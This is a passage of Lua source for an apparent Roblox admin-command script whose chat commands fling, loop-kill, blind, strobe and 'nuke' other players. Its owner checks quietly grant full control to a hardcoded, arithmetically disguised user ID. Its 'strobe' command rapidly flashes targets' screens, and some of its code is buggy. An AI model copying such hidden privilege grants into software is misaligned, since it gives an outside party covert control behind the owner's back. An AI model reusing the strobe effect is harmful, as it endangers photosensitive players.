  1632. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1633. end))
  1634. end
  1635. end
  1636.  
  1637. if msg:lower():sub(1,6) == "fling " then
  1638. local plrz = GetPlr(plr, msg:lower():sub(7))
  1639. for i, v in pairs(plrz) do
  1640. coroutine.resume(coroutine.create(function()
  1641. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1642. local xran local zran
  1643. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1644. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1645. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1646. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1647. end
  1648. end))
  1649. end
  1650. end
  1651.  
  1652. if msg:lower():sub(1,8) == "seizure " then
  1653. local plrz = GetPlr(plr, msg:lower():sub(9))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v.Character then
  1657. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1658. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1659. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1660. end
  1661. end))
  1662. end
  1663. end
  1664.  
  1665. if msg:lower():sub(1,10) == "unseizure " then
  1666. local plrz = GetPlr(plr, msg:lower():sub(11))
  1667. for i, v in pairs(plrz) do
  1668. coroutine.resume(coroutine.create(function()
  1669. if v and v.Character then
  1670. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1671. wait(.1) v.Character.Humanoid.PlatformStand = false
  1672. end
  1673. end))
  1674. end
  1675. end
  1676.  
  1677. if msg:lower():sub(1,12) == "removelimbs " then
  1678. local plrz = GetPlr(plr, msg:lower():sub(13))
  1679. for i, v in pairs(plrz) do
  1680. coroutine.resume(coroutine.create(function()
  1681. if v and v.Character then
  1682. for a, obj in pairs(v.Character:children()) do
  1683. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1684. end
  1685. end
  1686. end))
  1687. end
  1688. end
  1689.  
  1690. if msg:lower():sub(1,5) == "name " then
  1691. local chk1 = msg:lower():sub(6):find(" ") + 5
  1692. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1693. for i, v in pairs(plrz) do
  1694. coroutine.resume(coroutine.create(function()
  1695. if v and v.Character and v.Character:findFirstChild("Head") then
  1696. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1697. local char = v.Character
  1698. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1699. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1700. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1701. char.Head.Transparency = 1
  1702. end
  1703. end))
  1704. end
  1705. end
  1706.  
  1707. if msg:lower():sub(1,7) == "unname " then
  1708. local plrz = GetPlr(plr, msg:lower():sub(8))
  1709. for i, v in pairs(plrz) do
  1710. coroutine.resume(coroutine.create(function()
  1711. if v and v.Character and v.Character:findFirstChild("Head") then
  1712. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1713. end
  1714. end))
  1715. end
  1716. end
  1717.  
  1718. if msg:lower():sub(1,5) == "char " then
  1719. local chk1 = msg:lower():sub(6):find(" ") + 5
  1720. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1721. for i, v in pairs(plrz) do
  1722. coroutine.resume(coroutine.create(function()
  1723. if v and v.Character then
  1724. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1725. v:LoadCharacter()
  1726. end
  1727. end))
  1728. end
  1729. end
  1730.  
  1731. if msg:lower():sub(1,7) == "unchar " then
  1732. local plrz = GetPlr(plr, msg:lower():sub(8))
  1733. for i, v in pairs(plrz) do
  1734. coroutine.resume(coroutine.create(function()
  1735. if v and v.Character then
  1736. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1737. v:LoadCharacter()
  1738. end
  1739. end))
  1740. end
  1741. end
  1742.  
  1743. if msg:lower():sub(1,7) == "infect " then
  1744. local plrz = GetPlr(plr, msg:lower():sub(8))
  1745. for i, v in pairs(plrz) do
  1746. coroutine.resume(coroutine.create(function()
  1747. if v and v.Character then
  1748. Infect(v.Character)
  1749. end
  1750. end))
  1751. end
  1752. end
  1753.  
  1754. if msg:lower():sub(1,11) == "rainbowify " then
  1755. local plrz = GetPlr(plr, msg:lower():sub(12))
  1756. for i, v in pairs(plrz) do
  1757. coroutine.resume(coroutine.create(function()
  1758. if v and v.Character and v.Character:findFirstChild("Torso") then
  1759. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1760. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1761. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1762. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1763. cl.Parent = v.Character cl.Disabled = false
  1764. end
  1765. end))
  1766. end
  1767. end
  1768.  
  1769. if msg:lower():sub(1,9) == "flashify " then
  1770. local plrz = GetPlr(plr, msg:lower():sub(10))
  1771. for i, v in pairs(plrz) do
  1772. coroutine.resume(coroutine.create(function()
  1773. if v and v.Character and v.Character:findFirstChild("Torso") then
  1774. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1775. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1776. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1777. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1778. cl.Parent = v.Character cl.Disabled = false
  1779. end
  1780. end))
  1781. end
  1782. end
  1783.  
  1784. if msg:lower():sub(1,8) == "noobify " then
  1785. local plrz = GetPlr(plr, msg:lower():sub(9))
  1786. for i, v in pairs(plrz) do
  1787. coroutine.resume(coroutine.create(function()
  1788. if v and v.Character then
  1789. Noobify(v.Character)
  1790. end
  1791. end))
  1792. end
  1793. end
  1794.  
  1795. if msg:lower():sub(1,9) == "ghostify " then
  1796. local plrz = GetPlr(plr, msg:lower():sub(10))
  1797. for i, v in pairs(plrz) do
  1798. coroutine.resume(coroutine.create(function()
  1799. if v and v.Character and v.Character:findFirstChild("Torso") then
  1800. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1801. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1802. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1803. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1804. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1805. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1806. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1807. end end
  1808. end
  1809. end))
  1810. end
  1811. end
  1812.  
  1813. if msg:lower():sub(1,8) == "goldify " then
  1814. local plrz = GetPlr(plr, msg:lower():sub(9))
  1815. for i, v in pairs(plrz) do
  1816. coroutine.resume(coroutine.create(function()
  1817. if v and v.Character and v.Character:findFirstChild("Torso") then
  1818. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1819. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1820. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1821. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1822. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1823. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1824. end end
  1825. end
  1826. end))
  1827. end
  1828. end
  1829.  
  1830. if msg:lower():sub(1,6) == "shiny " then
  1831. local plrz = GetPlr(plr, msg:lower():sub(7))
  1832. for i, v in pairs(plrz) do
  1833. coroutine.resume(coroutine.create(function()
  1834. if v and v.Character and v.Character:findFirstChild("Torso") then
  1835. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1836. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1837. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1838. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1839. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1840. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1841. end end
  1842. end
  1843. end))
  1844. end
  1845. end
  1846.  
  1847. if msg:lower():sub(1,7) == "normal " then
  1848. local plrz = GetPlr(plr, msg:lower():sub(8))
  1849. for i, v in pairs(plrz) do
  1850. coroutine.resume(coroutine.create(function()
  1851. if v and v.Character and v.Character:findFirstChild("Torso") then
  1852. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1853. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1854. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1855. v.Character.Torso.Transparency = 0
  1856. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1857. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1858. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1859. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1860. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1861. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1862. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1863. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1864. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1865. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1866. end end
  1867. end
  1868. end))
  1869. end
  1870. end
  1871.  
  1872. if msg:lower():sub(1,7) == "trippy " then
  1873. local plrz = GetPlr(plr, msg:lower():sub(8))
  1874. for i, v in pairs(plrz) do
  1875. coroutine.resume(coroutine.create(function()
  1876. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1877. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1878. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1879. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1880. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1881. end
  1882. end))
  1883. end
  1884. end
  1885.  
  1886. if msg:lower():sub(1,9) == "untrippy " then
  1887. local plrz = GetPlr(plr, msg:lower():sub(10))
  1888. for i, v in pairs(plrz) do
  1889. coroutine.resume(coroutine.create(function()
  1890. if v and v:findFirstChild("PlayerGui") then
  1891. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1892. end
  1893. end))
  1894. end
  1895. end
  1896.  
  1897. if msg:lower():sub(1,7) == "strobe " then
  1898. local plrz = GetPlr(plr, msg:lower():sub(8))
  1899. for i, v in pairs(plrz) do
  1900. coroutine.resume(coroutine.create(function()
  1901. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1902. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1903. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1904. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1905. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1906. end
  1907. end))
  1908. end
  1909. end
  1910.  
  1911. if msg:lower():sub(1,9) == "unstrobe " then
  1912. local plrz = GetPlr(plr, msg:lower():sub(10))
  1913. for i, v in pairs(plrz) do
  1914. coroutine.resume(coroutine.create(function()
  1915. if v and v:findFirstChild("PlayerGui") then
  1916. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1917. end
  1918. end))
  1919. end
  1920. end
  1921.  
  1922. if msg:lower():sub(1,6) == "blind " then
  1923. local plrz = GetPlr(plr, msg:lower():sub(7))
  1924. for i, v in pairs(plrz) do
  1925. coroutine.resume(coroutine.create(function()
  1926. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1927. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1928. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1929. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1930. end
  1931. end))
  1932. end
  1933. end
  1934.  
  1935. if msg:lower():sub(1,8) == "unblind " then
  1936. local plrz = GetPlr(plr, msg:lower():sub(9))
  1937. for i, v in pairs(plrz) do
  1938. coroutine.resume(coroutine.create(function()
  1939. if v and v:findFirstChild("PlayerGui") then
  1940. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1941. end
  1942. end))
  1943. end
  1944. end
  1945.  
  1946. if msg:lower():sub(1,7) == "guifix " then
  1947. local plrz = GetPlr(plr, msg:lower():sub(8))
  1948. for i, v in pairs(plrz) do
  1949. coroutine.resume(coroutine.create(function()
  1950. if v and v:findFirstChild("PlayerGui") then
  1951. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1952. end
  1953. end))
  1954. end
  1955. end
  1956.  
  1957. if msg:lower():sub(1,9) == "loopheal " then
  1958. local plrz = GetPlr(plr, msg:lower():sub(10))
  1959. for i, v in pairs(plrz) do
  1960. if v then
  1961. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1962. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1963. repeat wait()
  1964. coroutine.resume(coroutine.create(function()
  1965. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1966. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1967. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1968. end
  1969. end))
  1970. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1971. end
  1972. end
  1973. end
  1974.  
  1975. if msg:lower():sub(1,11) == "unloopheal " then
  1976. local plrz = GetPlr(plr, msg:lower():sub(12))
  1977. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1978. end
  1979.  
  1980. if msg:lower():sub(1,10) == "loopfling " then
  1981. local plrz = GetPlr(plr, msg:lower():sub(11))
  1982. for i, v in pairs(plrz) do
  1983. if v then
  1984. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1985. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1986. repeat
  1987. coroutine.resume(coroutine.create(function()
  1988. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1989. local xran local zran
  1990. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1991. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1992. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1993. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1994. end
  1995. end))
  1996. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1997. end
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,12) == "unloopfling " then
  2002. local plrz = GetPlr(plr, msg:lower():sub(13))
  2003. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2004. end
  2005.  
  2006. end
  2007.  
  2008. -------------------------
  2009. -- True Owner Commands --
  2010. -------------------------
  2011.  
  2012. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2013.  
  2014. if msg:lower():sub(1,3) == "oa " then
  2015. local plrz = GetPlr(plr, msg:lower():sub(4))
  2016. for i, v in pairs(plrz) do
  2017. coroutine.resume(coroutine.create(function()
  2018. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2019. end))
  2020. end
  2021. end
  2022.  
  2023. if msg:lower():sub(1,5) == "unoa " then
  2024. for i = 1, #owners do
  2025. coroutine.resume(coroutine.create(function()
  2026. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2027. end))
  2028. end
  2029. end
  2030.  
  2031. if msg:lower() == "settings" then
  2032. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2033. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2034. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2035. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2036. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2037. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2038. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2039. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2040. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2041. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2042. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2043. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2044. end
  2045.  
  2046. end
  2047.  
  2048. --------------------
  2049. -- Owner Commands --
  2050. --------------------
  2051.  
  2052. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2053.  
  2054. if msg:lower():sub(1,3) == "pa " then
  2055. local plrz = GetPlr(plr, msg:lower():sub(4))
  2056. for i, v in pairs(plrz) do
  2057. coroutine.resume(coroutine.create(function()
  2058. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2059. end))
  2060. end
  2061. end
  2062.  
  2063. if msg:lower():sub(1,5) == "unpa " then
  2064. for i = 1, #admins do
  2065. coroutine.resume(coroutine.create(function()
  2066. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2067. end))
  2068. end
  2069. end
  2070.  
  2071. if msg:lower():sub(1,5) == "nuke " then
  2072. local plrz = GetPlr(plr, msg:lower():sub(6))
  2073. for i, v in pairs(plrz) do
  2074. coroutine.resume(coroutine.create(function()
  2075. if v and v.Character and v.Character:findFirstChild("Torso") then
  2076. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2077. p.Anchored = true
  2078. p.CanCollide = false
  2079. p.formFactor = "Symmetric"
  2080. p.Shape = "Ball"
  2081. p.Size = Vector3.new(1,1,1)
  2082. p.BrickColor = BrickColor.new("New Yeller")
  2083. p.Transparency = .5
  2084. p.Reflectance = .2
  2085. p.TopSurface = 0
  2086. p.BottomSurface = 0
  2087. p.Touched:connect(function(hit)
  2088. if hit and hit.Parent then
  2089. local ex = Instance.new("Explosion", game.Workspace)
  2090. ex.Position = hit.Position
  2091. ex.BlastRadius = 11
  2092. ex.BlastPressure = math.huge
  2093. end
  2094. end)
  2095. local cf = v.Character.Torso.CFrame
  2096. p.CFrame = cf
  2097. for i = 1, 333 do
  2098. p.Size = p.Size + Vector3.new(3,3,3)
  2099. p.CFrame = cf
  2100. wait(1/44)
  2101. end
  2102. p:Destroy()
  2103. end
  2104. end))
  2105. end
  2106. end
  2107.  
  2108. end
  2109.  
  2110. --------------------------
  2111. -- Super Admin Commands --
  2112. --------------------------
  2113.  
  2114. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2115.  
  2116. if msg:lower() == "logs" then
  2117. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2118. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2119. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2120. end
  2121.  
  2122. if msg:lower():sub(1,9) == "loopkill " then
  2123. local chk1 = msg:lower():sub(10):find(" ")
  2124. local plrz = GetPlr(plr, msg:lower():sub(10))
  2125. local num = 9999
  2126. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2127. for i, v in pairs(plrz) do
  2128. if v and not ChkAdmin(v.Name, false) then
  2129. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2130. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2131. for i = 1, ]] .. tostring(num) .. [[ do
  2132. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2133. coroutine.resume(coroutine.create(function()
  2134. if plr and plr.Character then plr.Character:BreakJoints() end
  2135. end))
  2136. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2137. end
  2138. end
  2139. end
  2140.  
  2141. if msg:lower():sub(1,11) == "unloopkill " then
  2142. local plrz = GetPlr(plr, msg:lower():sub(12))
  2143. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2144. end
  2145.  
  2146. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2147. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2148.  
  2149. if msg:lower():sub(1,3) == "sm " then
  2150. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2151. end
  2152.  
  2153. if msg:lower():sub(1,3) == "ko " then
  2154. local chk1 = msg:lower():sub(4):find(" ") + 3
  2155. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2156. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2157. for n = 1, num do
  2158. for i, v in pairs(plrz) do
